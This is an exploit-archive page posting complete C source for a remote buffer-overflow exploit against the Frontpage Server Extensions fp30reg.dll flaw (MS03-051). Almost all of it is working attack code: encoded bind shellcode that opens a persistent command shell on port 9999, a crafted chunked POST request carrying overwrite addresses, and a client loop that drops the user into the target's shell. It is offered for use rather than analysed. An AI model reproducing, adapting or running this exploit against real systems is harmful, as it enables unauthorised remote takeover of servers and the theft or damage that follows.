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MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)

Author

Adik

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-8360

Category

remote exploits

Date add

13-11-2003

Platform

unsorted

=============================================================
MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)
=============================================================

/*******************************************************************************

Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore

Exploit by Adik netmaniac hotmail kg

Binds persistent command shell on port 9999
Tested on 			
		Windows 2000 Professional SP3 English version 
		(fp30reg.dll ver 4.0.2.5526)			

-[ 13/Nov/2003 ]-
********************************************************************************/


#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

#define VER		"0.1"	

/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
	0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
	0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
	0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
	0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
	0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
	0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
	0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
	0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
	0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
	0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
	0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
	0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
	0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
	0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
	0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
	0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
	0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
	0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
	0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
	0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};

void cmdshell (int sock);
long gimmeip(char *hostname);

int main(int argc,char *argv[])
{     
		WSADATA wsaData;
		struct sockaddr_in targetTCP;
		struct hostent *host;
		int sockTCP,s;
		unsigned short port = 80;
		long ip;
		unsigned char header[]=	"POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
                                unsigned char packet[3000],data[1500];		                
		unsigned char ecx[] = "\xe0\xf3\xd4\x67";
		unsigned char edi[] = "\xff\xd0\x90\x90";		
		unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
		unsigned char shortjmp[] = "\xeb\x10";
		
		printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
		" by Adik < netmaniac [at] hotmail.KG >\n\n", VER);
		if(argc < 2)
		{
			
			printf(" Usage: %s [Target] <port>\n"
					" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
			return 1;			
		}		
		if(argc==3)
			port = atoi(argv[2]);					
        WSAStartup(0x0202, &wsaData);				
		printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
		ip=gimmeip(argv[1]);	
        memset(&targetTCP, 0, sizeof(targetTCP));
		memset(packet,0,sizeof(packet));
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);				
	sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);		
	memset(data, 0x90, sizeof(data)-1);
	data[sizeof(data)-1] = '\x0';
	memcpy(&data[16],edi,sizeof(edi)-1);
	memcpy(&data[20],ecx,sizeof(ecx)-1);		
	memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
	memcpy(&data[250+14],call,sizeof(call)-1);		
	memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
	sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}
		printf("[*] Socket initialized...\n");					
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("[*] Connection to host failed! Exiting...\n");
			WSACleanup();
			exit(1);
		} 		
		printf("[*] Checking for presence of fp30reg.dll...");
		if (send(sockTCP, packet, strlen(packet),0) == -1)
		{
				printf("[x] Failed to inject packet! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		memset(packet,0,sizeof(packet));	
		if (recv(sockTCP, packet, sizeof(packet),0) == -1)		
		{
				printf("[x] Failed to receive packet! Exiting...\n");
				WSACleanup();
                return 1;
		}				
		if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
			printf(" Found!\n");
		else
		{
			printf(" Not Found!! Exiting...\n");
			WSACleanup();
			return 1;
		}
		printf("[*] Packet injected!\n");
		closesocket(sockTCP);
		printf("[*] Sleeping ");
		for(s=0;s<13000;s+=1000)
		{
			printf(". ");
			Sleep(1000);
		}		
		printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
		if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("\n[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(9999);
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
			WSACleanup();
			exit(1);
		} 
		printf("\n[*] Dropping to shell...\n\n");
		cmdshell(sockTCP);
        return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
 struct timeval tv;
 int length;
 unsigned long o[2];
 char buffer[1000];
 
 tv.tv_sec = 1;
 tv.tv_usec = 0;

 while (1) 
 {
	o[0] = 1;
	o[1] = sock;	

	length = select (0, (fd_set *)&o, NULL, NULL, &tv);
	if(length == 1)
	{
		length = recv (sock, buffer, sizeof (buffer), 0);
		if (length <= 0) 
		{
			printf ("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
		length = write (1, buffer, length);
		if (length <= 0) 
		{
			printf ("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
	}
	else
	{
		length = read (0, buffer, sizeof (buffer));
		if (length <= 0) 
		{
			printf("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
		length = send(sock, buffer, length, 0);
		if (length <= 0) 
		{
			printf("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
	}
}

}
/*********************************************************************************/
long gimmeip(char *hostname) 
{
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) 
	{
		if ((he = gethostbyname(hostname)) == NULL) 
		{
			printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}
/*********************************************************************************/

 

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MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)

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